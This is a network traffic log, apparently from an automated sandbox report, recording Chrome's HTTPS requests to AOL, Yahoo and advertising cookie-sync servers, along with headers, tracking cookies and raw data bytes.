2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 87 da 29 61 db ae 48 56 d1 04 16 47 43 98 5d 5e 67 2a 20 ab 31 aa 41 06 e9 ef a7 08 14 81 a1 71 38 04 30 88 43 df 99 02 1d 29 34 aa 6e 54 95 9b a0 54 85 8f 54 6e 8e ca 14 51 69 9f a9 78 fc 81 a7 5c 20 51 31 d8 21 cc 9f 3c 0f c6 3e 1f 2a eb aa 4c 12 65 e0 2b 4d 48 1d b5 84 38 15 4c 0f c4 d4 82 40 01 d9 92 86 fd 1d d9 06 2a 40 b1 12 5d 08 02 f0 c0 a2 56 d1 5d 03 14 10 a8 46 95 56 ba 40 2b 64 29 ac 83 ea ca 2b 08 cc a0 60 24 c3 bd 9a 41 b0 f4 a0 1c 04 58 bb ca 88 92 a4 45 f4 5a 40 8c 3c cd 25 d3 65 7a d2 d2 22 a1 3a fd ff 98 d6 7f f6 40 7a a2 73 b1 e5 c9 92 22 4e 84 d7 47 33 7f b6 0b 45 c6 87 2a 84 c0 ac fd 1d dd ca 9f 42 7f 88 46 58 46 58 14 c2 07 84 19 84 69 3a 53 12 03 26 23 c2 08 9d 7f 98 1e c3 42 3a 47 2e a2 01 b6 83 01 58 15 22 98 09 c4 38 1d 39 29 4f Data Ascii: )aHVGC]^g* 1Aq80C)4nTTTnQix\ Q1!<>Le+MH8L@@]V]FV@+d)+`$AXEZ@<%ez":@zs"NG3E*BFXFXi:S&#B:G.X"89)O
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 97 fa 4d d2 5b 64 e4 1e 45 90 32 eb 49 c4 b2 e7 cd 7b e1 e3 a6 07 8c 1a 97 8f e4 37 cf 39 69 5c c7 c0 3b 99 34 01 86 2c 72 10 d8 06 11 79 c8 df 2a a2 2a d3 db 40 e4 21 82 02 8a bc f0 d2 eb f9 9f 7f ab c4 da c5 f8 30 13 01 95 9a 02 ae 7d 02 f0 79 01 a8 56 01 a8 f4 0a 00 5c 5a 90 1d e2 dc f5 fc b0 07 c5 b4 28 a0 c3 cc 3f f1 09 1f 10 c7 4e c5 5b 19 63 e7 1b a2 01 3a a1 f2 3c a4 76 68 97 ed 69 a2 62 2b 33 5d b4 c5 4c 22 11 de 6e 19 9b 47 75 66 47 f1 2e ee d0 fc da ca ae b1 c2 45 d0 d4 7b ed 21 12 5b 8a eb d2 fb 07 9a a1 6f 45 c3 c3 1a 9b 16 8e ca 75 2b da 91 af 3b f4 7a 5a e9 f7 5a e4 aa 2f dd b4 80 21 97 b7 34 36 64 90 12 63 b7 b4 2c cd fb e8 d4 a8 10 35 21 01 4f 8d 75 3c 43 34 45 6c db 1c 68 0e 55 60 15 e7 b7 27 b3 ad c8 90 be 24 e9 31 d4 53 24 be e7 76 a0 Data Ascii: M[dE2I{79i\;4,ry**@!0}yV\Z(?N[c:<vhib+3]L"nGufG.E{![oEu+;zZZ/!46dc,5!Ou<C4ElhU`'$1S$v
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 0e 38 c5 cf 63 76 fe dc 67 64 74 6c f4 c1 68 ea ac 9d a9 b8 b5 7a b8 91 f2 32 48 61 a7 e6 c0 32 64 1e 8a 9b 97 ff bb ce 65 0e 6a 11 61 c4 1d a3 94 f1 84 56 8b 2c 23 62 38 a2 c3 66 c3 66 7a fd 38 5b f0 50 af d5 2a 49 a5 52 a9 d7 1b af 3b a8 20 d2 90 e1 13 83 f8 f8 a9 4a 18 16 11 04 4c 75 ea ae ba 35 bc 3a d4 30 22 a6 c2 05 7b 95 f7 6c c3 29 7e 1b 09 9c c9 f9 21 39 2f 22 af 53 1b 79 39 d4 b7 62 3d 91 12 25 6a 25 aa 5e dc 26 42 70 4e fa 51 48 89 02 b9 69 49 69 94 d6 5f cb ba 86 74 7a 0d 12 91 f5 19 57 1e d6 43 8c 18 55 48 e0 49 8e b0 3c 90 b8 50 30 5e 25 31 ee 4a 8c 61 f6 f1 53 09 af 66 f9 dc d2 b6 36 d0 d3 c4 63 d2 04 21 b1 b6 44 f5 6a 48 09 ea b4 26 5e 1b da c4 c4 e2 70 18 64 e3 1d e0 13 3d 4f fa c0 23 af e4 b8 9c ab c3 5c 69 38 ae 79 d5 29 53 2c 65 26 4a Data Ascii: 8cvgdtlhz2Ha2dejaV,#b8ffz8[P*IR; JLu5:0"{l)~!9/"Sy9b=%j%^&BpNQHiIi_tzWCUHI<P0^%1JaSf6c!DjH&^pd=O#\i8y)S,e&J
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 61 52 6f e6 25 91 cc 50 a4 73 bb 09 59 17 bd f5 36 19 b7 27 89 49 a6 6e c9 44 e1 d7 9a 05 17 97 80 96 ed 86 4f 5e c0 91 3f 01 8d d7 a9 e1 79 0c 90 4d 85 09 76 6b 4f 3e 0f 37 7a 00 d8 db 9b 6e c1 15 62 e6 d4 2d 92 76 9c 7b 58 44 af a6 84 4c c0 12 b6 c2 48 a3 a2 3c 2c 61 b3 ce e6 9b c9 e1 e4 89 f8 43 67 20 1d e0 ae 57 9a 3e 1b ea 05 8f 91 32 2f f1 18 18 4c bf 07 60 da e4 e3 15 38 b7 f3 c0 39 d5 6e 5a 86 33 31 0c a9 b9 da 88 a4 09 d4 81 f9 ee 80 21 3a d6 d7 42 4a 91 8d 2c 42 87 62 88 b9 66 12 7a 7c 86 a9 15 f5 7d 7e 99 b8 13 68 32 38 fc 83 82 a6 5b ea 27 7d e0 64 50 95 ac 81 bc 9b 8d f7 0d 36 d5 7f 75 70 2a 16 1a e8 7a f5 08 f0 9b db ca 6b 58 73 29 a5 e9 f5 59 06 b0 59 5c a4 69 27 d7 81 00 c1 7c 12 c1 7c f7 0e ff c6 9d b9 e8 e4 7c a6 b1 18 9c ba c3 f8 5c ba Data Ascii: aRo%PsY6'InDO^?yMvkO>7znb-v{XDLH<,aCg W>2/L`89nZ31!:BJ,Bbfz\|}~h28['}dP6up*zkXs)YY\i'\|\|\|\
2024-05-23 22:35:11 UTC	1300	IN	Data Raw: 12 34 41 0f 6a ff ba fa d6 d6 c7 4d 9c 42 ae f5 ef 5a 77 d3 f0 0b 6b a3 d0 38 2f 51 9a cb 31 dd de 3f 91 f0 5a d5 91 6f 3e 5a 8d 33 4e 5e ea f6 a1 45 b9 a6 4a 08 ef b5 df 5c f2 84 eb 13 91 b7 86 f7 f9 d5 3b cf d8 97 03 79 2d 13 3b 91 51 0f 18 d9 0a 8c 61 62 cc 6b 32 05 db 2b 0e 50 38 f8 cd 19 b7 f6 91 a1 59 e2 2d f8 60 54 38 25 13 5d 07 e8 c7 b6 8e 08 08 1c 84 5a b5 6e e7 1a 2d 3e 88 59 34 77 1b fd ff 8b af fe 6e ed c9 6f ce 69 fe cb 75 95 5d c3 58 aa a1 89 3f 29 fd b6 84 d3 bb 2e 38 84 2e ba 3b ba 2c 17 b6 12 f7 e7 28 66 2c df 18 75 2a 27 13 3d fe 94 27 a1 ac c6 d1 0c 6e df 5b 4f 54 a3 37 f2 cb b7 af 9f cc d3 ae fc b6 17 5e 88 ba a2 c3 b7 db 48 0d 85 e6 bb 8e ad 0e db ae f7 28 3d e0 65 84 c1 3a ae 90 76 d8 7e 4d ac 5b 3e 0b 8c ad e0 aa 99 54 ff 71 84 5e Data Ascii: 4AjMBZwk8/Q1?Zo>Z3N^EJ\;y-;Qabk2+P8Y-`T8%]Zn->Y4wnoiu]X?).8.;,(f,u*'='n[OT7^H(=e:v~M[>Tq^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
572	192.168.2.6	50399	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	632	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Regular.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://help.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "b038ffc2a3543db59d8b131cc5f9585d"
2024-05-23 22:35:11 UTC	463	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:35:11 GMT Etag: "b038ffc2a3543db59d8b131cc5f9585d" Cache-Control: max-age=31536000 Connection: close Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Vary: Origin ATS-Carp-Promotion: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
573	192.168.2.6	50400	34.255.48.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	758	OUT	GET /cookie-sync/pm?gdpr=0&gdpr_consent=&_bee_ppp=1 HTTP/1.1 Host: match.prod.bidr.io Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: checkForPermission=ok
2024-05-23 22:35:11 UTC	789	IN	HTTP/1.1 303 See Other Date: Thu, 23 May 2024 22:35:11 GMT location: https://cm.g.doubleclick.net/pixel?google_nid=beeswaxio&google_sc=&google_hm=QUFOUkYwN01uNGtBQUJXTkpRcm9Sdw&gdpr=0&gdpr_consent=&bee_sync_partners=pp%2Csas%2Cpm&bee_sync_current_partner=adx&bee_sync_initiator=pm&bee_sync_hop_count=1 Server: gunicorn set-cookie: bito=AANRF07Mn4kAABWNJQroRw; Domain=bidr.io; expires=Sun, 22 Jun 2025 18:35:11 GMT; Path=/; SameSite=None; Secure set-cookie: bitoIsSecure=ok; Domain=bidr.io; expires=Sun, 22 Jun 2025 18:35:11 GMT; Path=/; SameSite=None; Secure set-cookie: checkForPermission=""; Domain=bidr.io; expires=Thu, 01 May 2008 00:00:00 GMT; Path=/; SameSite=None; Secure strict-transport-security: max-age=2592000; includeSubDomains Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
574	192.168.2.6	50398	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	629	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Bold.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://help.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "6bc69312c74a1f1d8a57de89e9b00ce4"
2024-05-23 22:35:11 UTC	463	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:35:11 GMT Etag: "6bc69312c74a1f1d8a57de89e9b00ce4" Cache-Control: max-age=31536000 Connection: close Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Vary: Origin ATS-Carp-Promotion: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
575	192.168.2.6	50401	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	2500	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MjkzNiZ0bD00MzIwMA==&piggybackCookie=uid:C3E3B1BC7A434D6BB70BF025F9AF69E8&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:11 UTC	318	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:11 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
576	192.168.2.6	50397	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	633	OUT	GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Semibold.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://help.aol.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.aolcdn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: "0cdbbfc728ac34db132f284a7066d40b"
2024-05-23 22:35:11 UTC	463	IN	HTTP/1.1 304 Not Modified Date: Thu, 23 May 2024 22:35:11 GMT Etag: "0cdbbfc728ac34db132f284a7066d40b" Cache-Control: max-age=31536000 Connection: close Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Access-Control-Allow-Origin: * Vary: Origin ATS-Carp-Promotion: 1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
577	192.168.2.6	50405	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	1456	OUT	GET /api/videos/featured HTTP/1.1 Host: help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq
2024-05-23 22:35:11 UTC	1035	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:11 GMT Content-Type: application/json;charset=utf-8 Content-Length: 2 Server: ATS vary: origin strict-transport-security: max-age=31536000 x-frame-options: DENY x-download-options: noopen cache-control: max-age=300, must-revalidate accept-ranges: bytes Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:11 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: __gpi=DELETE; Expires=Thu, 23 May 2024 22:25:11 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:11 GMT; Max-Age=0; Domain=help.aol.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Thu, 23 May 2024 22:25:11 GMT; Max-Age=0; Domain=aol.com; Path=; Secure; HttpOnly
2024-05-23 22:35:11 UTC	2	IN	Data Raw: 5b 5d Data Ascii: []

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
578	192.168.2.6	50409	74.119.117.16	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	793	OUT	GET /dis/usersync.aspx?r=115&p=226&cp=medianet&cu=1&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA&gpp_sid=-1&url=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dcrt%26ovsid%3D%40%40CRITEO_USERID%40%40 HTTP/1.1 Host: widget.us.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:11 UTC	704	IN	HTTP/1.1 302 Found content-length: 0 date: Thu, 23 May 2024 22:35:10 GMT server: Kestrel cache-control: no-cache expires: Thu, 23 May 2024 00:00:00 GMT location: https://contextual.media.net/cksync.php?cs=1&type=crt&ovsid=1f5a2429-5a10-4b50-95d0-3435c16ad1ac&gdpr=0&gdpr_consent=&us_privacy=&gpp=DBAA pragma: no-cache set-cookie: uid=1f5a2429-5a10-4b50-95d0-3435c16ad1ac; expires=Tue, 17 Jun 2025 22:35:11 GMT; domain=.criteo.com; path=/; secure; samesite=none x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 785375 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
579	192.168.2.6	50407	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	2762	OUT	POST /p?_V=V&V_sec=pb&evt=v_imp&t=0.6855416694002694&_sqno=2&ts=5694&auto=vm&bckt=none&ccode=&cdn=bcp&cont=1&cpos=&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&expt=&expm=na&focus=1&intl=us&lang=en-US&layout=aolgrid&lms_id=a077000000IpoJiAAJ&loc=onProp&msz=&p_sec=AOL&p_subsec=homepage&pbst=waiting&pct=aol&pd=&pg_name=&pkgt=&pls=c32aa27e-7796-468d-8df4-0e2b43fa14aa&pltype=ev-desktop&pl_bckt=&pstaid=42b897a6-9771-3329-b351-69a701a77438&pstaid_p=&pstcat=&psz=368x276&pt=home&pver=1.6.29&_rid=30rmpplj4vh3m&region=US&replay=0&rlvtscr=&s=1197803361&sec=releases&site=aolhomepage&snd=m&subsec=aol_on_video&test=aol-acookie-control%2Caol-aa-1&type=vod+short&ar=1.78&ver=td-app-aol&vid=42b897a6-9771-3329-b351-69a701a77438&vidPos=&vlng=68&vs=b2be1uzt&tmout=10&vptm=10&preload=true&errstate=none&_w=https%3A%2F%2Fwww.aol.com%2F&_R=&adUrl=https%3A%2F%2Ftb.pbs.yahoo.com%2Fv1%2Fevp%2Fasset%3Fbcid%3D5afc769f7239855a15fcee15%26pid%3D5afc75ea3a04293dad9f1a1f%26secure%3Dtrue%26rssId%3D42b897a6-9771-3329-b351-69a701a77438%26f [TRUNCATED] Host: bats.video.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:11 UTC	1059	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain x-envoy-upstream-service-time: 104 date: Thu, 23 May 2024 22:35:11 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Set-Cookie: A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure; HttpOnly Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:11 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly Set-Cookie: A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Domain=.yahoo.com; Path=/; SameSite=Lax; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
580	192.168.2.6	50408	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:11 UTC	2471	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzMDEmdGw9MTI5NjAw&piggybackCookie=b6bfeee6-1954-11ef-855d-a248653d767a HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
